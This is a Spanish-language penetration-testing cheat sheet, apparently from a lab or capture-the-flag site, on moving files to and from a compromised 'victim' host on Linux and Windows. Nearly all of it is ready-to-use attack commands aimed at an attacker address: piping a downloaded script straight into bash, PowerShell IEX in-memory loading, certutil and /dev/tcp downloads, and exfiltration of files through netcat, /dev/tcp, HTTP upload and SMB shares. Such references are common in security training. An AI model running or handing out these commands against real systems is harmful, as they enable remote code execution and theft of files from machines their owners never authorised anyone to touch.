Transferencia de archivos

Pasar herramientas a la víctima y sacar ficheros de ella, en Linux y en Windows - HTTP, SMB, netcat, base64, /dev/tcp, certutil y más.

Tus datos Se guardan en este navegador y se aplican a todas las chuletas.

Linux

Servir ficheros desde tu máquina

Servidor HTTP en la carpeta actual Atacante
python3 -m http.server 80

Descargar en la víctima

wget Víctima
wget http://10.10.14.5/linpeas.sh -O /tmp/linpeas.sh
curl Víctima
curl http://10.10.14.5/linpeas.sh -o /tmp/linpeas.sh
Ejecutar sin tocar el disco Víctima
curl -s http://10.10.14.5/linpeas.sh | bash
Sin curl ni wget (solo bash) Víctima
exec 3<>/dev/tcp/10.10.14.5/80; echo -e "GET /fichero HTTP/1.0\r\n\r\n" >&3; cat <&3 | sed '1,/^\r$/d' > /tmp/fichero
Con Python Víctima
python3 -c 'import urllib.request as u; u.urlretrieve("http://10.10.14.5/fichero", "/tmp/fichero")'

Netcat

Recibir en tu máquina Atacante
nc -lvnp 9001 > fichero
Enviar desde la víctima Víctima
nc 10.10.14.5 9001 < /ruta/fichero
Enviar sin nc Víctima
cat /ruta/fichero > /dev/tcp/10.10.14.5/9001

Copiar y pegar en base64

Codificar
base64 -w0 fichero; echo
Decodificar al otro lado
echo 'BASE64_PEGADO' | base64 -d > fichero
Comprobar que ha llegado entero
md5sum fichero

Sacar ficheros por HTTP

Servidor que acepta subidas Atacante
pip install uploadserver && python3 -m uploadserver 8000
Subir desde la víctima Víctima
curl -F 'files=@/ruta/fichero' http://10.10.14.5:8000/upload

SSH

Subir y bajar con scp Atacante
scp fichero [email protected]:/tmp/
scp [email protected]:/ruta/fichero .

Windows

Descargar en la víctima

PowerShell Víctima
iwr http://10.10.14.5/fichero.exe -OutFile C:\Windows\Temp\fichero.exe
PowerShell antiguo Víctima
(New-Object Net.WebClient).DownloadFile('http://10.10.14.5/fichero.exe','C:\Windows\Temp\fichero.exe')
Cargar un script en memoria Víctima
IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.5/script.ps1')
certutil Víctima
certutil -urlcache -split -f http://10.10.14.5/fichero.exe C:\Windows\Temp\fichero.exe
curl (Windows 10+) Víctima
curl http://10.10.14.5/fichero.exe -o C:\Windows\Temp\fichero.exe

SMB

Recurso SMB en tu máquina Atacante
impacket-smbserver share $(pwd) -smb2support
Copiar desde y hacia tu recurso Víctima
copy \\10.10.14.5\share\fichero.exe C:\Windows\Temp\
copy C:\ruta\fichero \\10.10.14.5\share\
Si Windows bloquea el acceso de invitado Atacante
impacket-smbserver share $(pwd) -smb2support -username pwn -password pwn
Montar el recurso con credenciales Víctima
net use z: \\10.10.14.5\share /user:pwn pwn

Otras vías

Subir y bajar con evil-winrm
upload /ruta/local/fichero.exe
download C:\ruta\fichero
Base64 en PowerShell Víctima
[Convert]::ToBase64String([IO.File]::ReadAllBytes("C:\ruta\fichero"))
[IO.File]::WriteAllBytes("C:\Windows\Temp\fichero", [Convert]::FromBase64String("BASE64_PEGADO"))
Comprobar el hash Víctima
Get-FileHash C:\Windows\Temp\fichero -Algorithm MD5